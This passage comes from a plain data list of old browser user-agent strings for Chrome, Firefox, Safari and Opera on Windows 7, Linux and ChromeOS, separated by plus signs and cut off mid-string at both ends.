Chrome/8.0.552.224 Safari/534.10 +Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/10.0.649.0 Safari/534.17 +Mozilla/5.0 (Windows; U; Windows NT 6.1; de-DE; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 +Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 +Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 4.0.20506) +Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.1) Gecko/20090715 Firefox/3.5.1 +Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.11) Gecko/20100701 Firefox/3.5.11 ( .NET CLR 3.5.30729; .NET4.0C) +Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.16) Gecko/20101130 AskTbMYC/3.9.1.14019 Firefox/3.5.16 +Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 +Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 +Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.3) Gecko/20121221 Firefox/3.6.8 +Mozilla/5.0 (Windows; U; Windows NT 6.1; de; rv:1.9.2.8) Gecko/20100722 Firefox 3.6.8 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.3) Gecko/20100401 Firefox/3.6;MEGAUPLOAD 1.0 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-GB; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 ( .NET CLR 3.5.30729; .NET4.0C) +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/0.3.154.9 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.43 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/525.19 (KHTML, like Gecko) Chrome/1.0.154.53 Safari/525.19 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/1.0.156.0 Safari/528.8 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/528.8 (KHTML, like Gecko) Chrome/2.0.156.1 Safari/528.8 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/531.0 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.19.2 (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.4 (KHTML, like Gecko) Chrome/2.0.172.0 Safari/530.4 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.5 (KHTML, like Gecko) Chrome/2.0.172.43 Safari/530.5 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/530.6 (KHTML, like Gecko) Chrome/2.0.174.0 Safari/530.6 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/531.0 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/2.0.182.0 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.0 (KHTML, like Gecko) Chrome/3.0.191.0 Safari/531.0 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.3 (KHTML, like Gecko) Chrome/3.0.193.2 Safari/531.3 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/531.4 (KHTML, like Gecko) Chrome/3.0.194.0 Safari/531.4 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532+ (KHTML, like Gecko) Version/4.0.2 Safari/530.19.1 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.1 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.10 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.21 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.27 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.3 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.4 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.195.6 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.196.2 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.0 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/3.0.197.11 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.201.1 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.202.0 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.0 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.203.2 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.204.0 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.0 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.206.1 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.208.0 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.0 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.211.4 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.0 (KHTML, like Gecko) Chrome/4.0.212.0 Safari/532.0 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.213.1 Safari/532.1 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.12 Safari/532.2 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.222.3 Safari/532.2 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.2 (KHTML, like Gecko) Chrome/4.0.223.1 Safari/532.2 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.223.5 Safari/532.3 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.3 (KHTML, like Gecko) Chrome/4.0.227.0 Safari/532.3 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.246.0 Safari/532.5 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.0.249.0 Safari/532.5 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.5 (KHTML, like Gecko) Chrome/4.1.249.1025 Safari/532.5 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/532.9 (KHTML, like Gecko) Chrome/5.0.307.1 Safari/532.9 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.19.4 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/5.0.342.3 Safari/533.2 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.2 (KHTML, like Gecko) Chrome/6.0 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.3 (KHTML, like Gecko) Chrome/5.0.354.0 Safari/533.3 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.370.0 Safari/533.4 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.4 (KHTML, like Gecko) Chrome/5.0.375.999 Safari/533.4 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/533.9 (KHTML, like Gecko) Chrome/6.0.400.0 Safari/533.9 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.1 (KHTML, like Gecko) Chrome/6.0.428.0 Safari/534.1 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/7.0.540.0 Safari/534.10 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.215 Safari/534.10 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.596.0 Safari/534.13 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.0 Safari/534.13 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.19 Safari/534.13 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.14 (KHTML, like Gecko) Chrome/10.0.601.0 Safari/534.14 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.638.0 Safari/534.16 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.134 Safari/534.16 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/10.0.649.0 Safari/534.17 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.654.0 Safari/534.17 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.17 (KHTML, like Gecko) Chrome/11.0.655.0 Safari/534.17 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.2 (KHTML, like Gecko) Chrome/6.0.454.0 Safari/534.2 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.20 (KHTML, like Gecko) Chrome/11.0.669.0 Safari/534.20 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.458.1 Safari/534.3 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.459.0 Safari/534.3 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.460.0 Safari/534.3 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.461.0 Safari/534.3 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.3 (KHTML, like Gecko) Chrome/6.0.464.0 Safari/534.3 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.12) Gecko/2009070611 Firefox/3.0.12 (.NET CLR 3.5.30729) FirePHP/0.3 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.0.14) Gecko/2009082707 Firefox/3.0.14 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090612 Firefox/3.5 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090612 Firefox/3.5 (.NET CLR 4.0.20506) +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1) Gecko/20090624 Firefox/3.1b3;MEGAUPLOAD 1.0 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729) FBSMTWB +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 MRA 5.5 (build 02842) Firefox/3.5.5 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 ( .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.2) Gecko/20100316 AskTbSPC2/3.9.1.14019 Firefox/3.6.2 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.5.3;MEGAUPLOAD 1.0 ( .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.3pre) Gecko/20100405 Firefox/3.6.3plugin1 ( .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.8) Gecko/20100806 Firefox/3.6 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2b1) Gecko/20091014 Firefox/3.6b1 GTB5 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5 +Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.3a3pre) Gecko/20100306 Firefox3.6 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/531.22.7 (KHTML, like Gecko) Version/4.0.5 Safari/531.22.7 +Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0 Safari/533.16 +Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 +Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.0 ( .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; es-ES; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 +Mozilla/5.0 (Windows; U; Windows NT 6.1; et; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 +Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 ( .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 +Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203 AskTbBT5/3.9.1.14019 Firefox/3.6.13 +Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203 AskTbCDS/3.9.1.14019 Firefox/3.6.13 +Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203 AskTbCS2/3.9.1.14019 Firefox/3.6.13 ( .NET CLR 3.5.30729; .NET4.0C) +Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.13) Gecko/20101203 AskTbFXTV5/3.9.1.14019 Firefox/3.6.13 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 GTB7.0 +Mozilla/5.0 (Windows; U; Windows NT 6.1; fr; rv:1.9.2.8) Gecko/20100722 Firefox 3.6.8 GTB7.1 +Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 +Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 GTB7.1 +Mozilla/5.0 (Windows; U; Windows NT 6.1; hu; rv:1.9.2.7) Gecko/20100713 Firefox/3.6.7 GTB7.1 +Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 +Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 +Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 ( .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; it; rv:1.9.2.8) Gecko/20100722 AskTbADAP/3.9.1.14019 Firefox/3.6.8 +Mozilla/5.0 (Windows; U; Windows NT 6.1; ja-JP) AppleWebKit/533.16 (KHTML, like Gecko) Version/5.0 Safari/533.16 +Mozilla/5.0 (Windows; U; Windows NT 6.1; ja; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 GTB7.1 +Mozilla/5.0 (Windows; U; Windows NT 6.1; ko-KR) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 +Mozilla/5.0 (Windows; U; Windows NT 6.1; lt; rv:1.9.2) Gecko/20100115 Firefox/3.6 +Mozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.0.9) Gecko/2009040821 Firefox/3.0.9 FirePHP/0.3 +Mozilla/5.0 (Windows; U; Windows NT 6.1; nl; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 ( .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.1) Gecko/20090624 Firefox/3.5 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.1b3) Gecko/20090305 Firefox/3.1b3 GTB5 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.2.13) Gecko/20101203 AskTbUT2V5/3.9.1.14019 Firefox/3.6.13 +Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.2.13) Gecko/20101203 AskTbVD/3.8.0.12304 Firefox/3.6.13 ( .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; pl; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 +Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-BR; rv:1.9.2.13) Gecko/20101203 AskTbFXTV5/3.9.1.14019 Firefox/3.6.13 +Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-BR; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 GTB7.1 +Mozilla/5.0 (Windows; U; Windows NT 6.1; pt-PT; rv:1.9.2.6) Gecko/20100625 Firefox/3.6.6 +Mozilla/5.0 (Windows; U; Windows NT 6.1; ro; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 +Mozilla/5.0 (Windows; U; Windows NT 6.1; ru-RU) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.11 Safari/534.16 +Mozilla/5.0 (Windows; U; Windows NT 6.1; ru-RU; rv:1.9.2) Gecko/20100105 MRA 5.6 (build 03278) Firefox/3.6 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.13) Gecko/20101203 Firefox/3.6.13 +Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 +Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.4) Gecko/20100513 Firefox/3.6.4 +Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2b5) Gecko/20091204 Firefox/3.6b5 +Mozilla/5.0 (Windows; U; Windows NT 6.1; sl; rv:1.9.1.8) Gecko/20100202 Firefox/3.5.8 +Mozilla/5.0 (Windows; U; Windows NT 6.1; sv-SE; rv:1.9.2.13) Gecko/20101203 AskTbIMB/3.9.1.14019 Firefox/3.6.13 +Mozilla/5.0 (Windows; U; Windows NT 6.1; tr; rv:1.9.1.9) Gecko/20100315 Firefox/3.5.9 GTB7.1 +Mozilla/5.0 (Windows; U; Windows NT 6.1; tr; rv:1.9.2.13) Gecko/20101203 AskTbCLM/3.9.1.14019 Firefox/3.6.13 +Mozilla/5.0 (Windows; U; Windows NT 6.1; uk; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 +Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 +Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729; .NET4.0E) +Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) +Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-CN; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8 +Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-HK) AppleWebKit/533.18.1 (KHTML, like Gecko) Version/5.0.2 Safari/533.18.5 +Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW) AppleWebKit/531.21.8 (KHTML, like Gecko) Version/4.0.4 Safari/531.21.10 +Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW; rv:1.9.2.13) Gecko/20101203 AskTbPTV/3.9.1.14019 Firefox/3.6.13 +Mozilla/5.0 (Windows; U; Windows NT 6.1; zh-TW; rv:1.9.2.4) Gecko/20100611 Firefox/3.6.4 ( .NET CLR 3.5.30729) +Mozilla/5.0 (Windows; Windows NT 5.1; en-US; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre +Mozilla/5.0 (Windows; Windows NT 5.1; es-ES; rv:1.9.2a1pre) Gecko/20090402 Firefox/3.6a1pre +Mozilla/5.0 (X11; CrOS i686 0.13.507) AppleWebKit/534.35 (KHTML, like Gecko) Chrome/13.0.763.0 Safari/534.35 +Mozilla/5.0 (X11; CrOS i686 0.13.587) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.14 Safari/535.1 +Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.23 (KHTML, like Gecko) Chrome/11.0.686.3 Safari/534.23 +Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.14 Safari/534.24 +Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.702.0 Chrome/12.0.702.0 Safari/534.24 +Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.100 Safari/534.30 +Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.30 (KHTML, like Gecko) Slackware/Chrome/12.0.742.100 Safari/534.30 +Mozilla/5.0 (X11; Linux i686) AppleWebKit/534.35 (KHTML, like Gecko) Ubuntu/10.10 Chromium/13.0.764.0 Chrome/13.0.764.0 Safari/534.35 +Mozilla/5.0 (X11; Linux i686; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Opera 9.23 +Mozilla/5.0 (X11; Linux i686; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.51 +Mozilla/5.0 (X11; Linux i686; rv:2.0b3pre) Gecko/20100731 Firefox/4.0b3pre +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.3 Safari/534.24 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.34 Safari/534.24 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.04 Chromium/11.0.696.0 Chrome/11.0.696.0 Safari/534.24 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.24 (KHTML, like Gecko) Ubuntu/10.10 Chromium/12.0.703.0 Chrome/12.0.703.0 Safari/534.24 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.36 (KHTML, like Gecko) Chrome/13.0.766.0 Safari/534.36 +Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.20 Safari/535.1 +Mozilla/5.0 (X11; Linux x86_64; U; de; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6 Opera 10.62 +Mozilla/5.0 (X11; Linux x86_64; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.60 +Mozilla/5.0 (X11; Linux x86_64; rv:2.0b4) Gecko/20100818 Firefox/4.0b4 +Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.339 +Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.339 Safari/534.10 +Mozilla/5.0 (X11; U; CrOS i686 0.9.128; en-US) AppleWebKit/534.10 (KHTML, like Gecko) 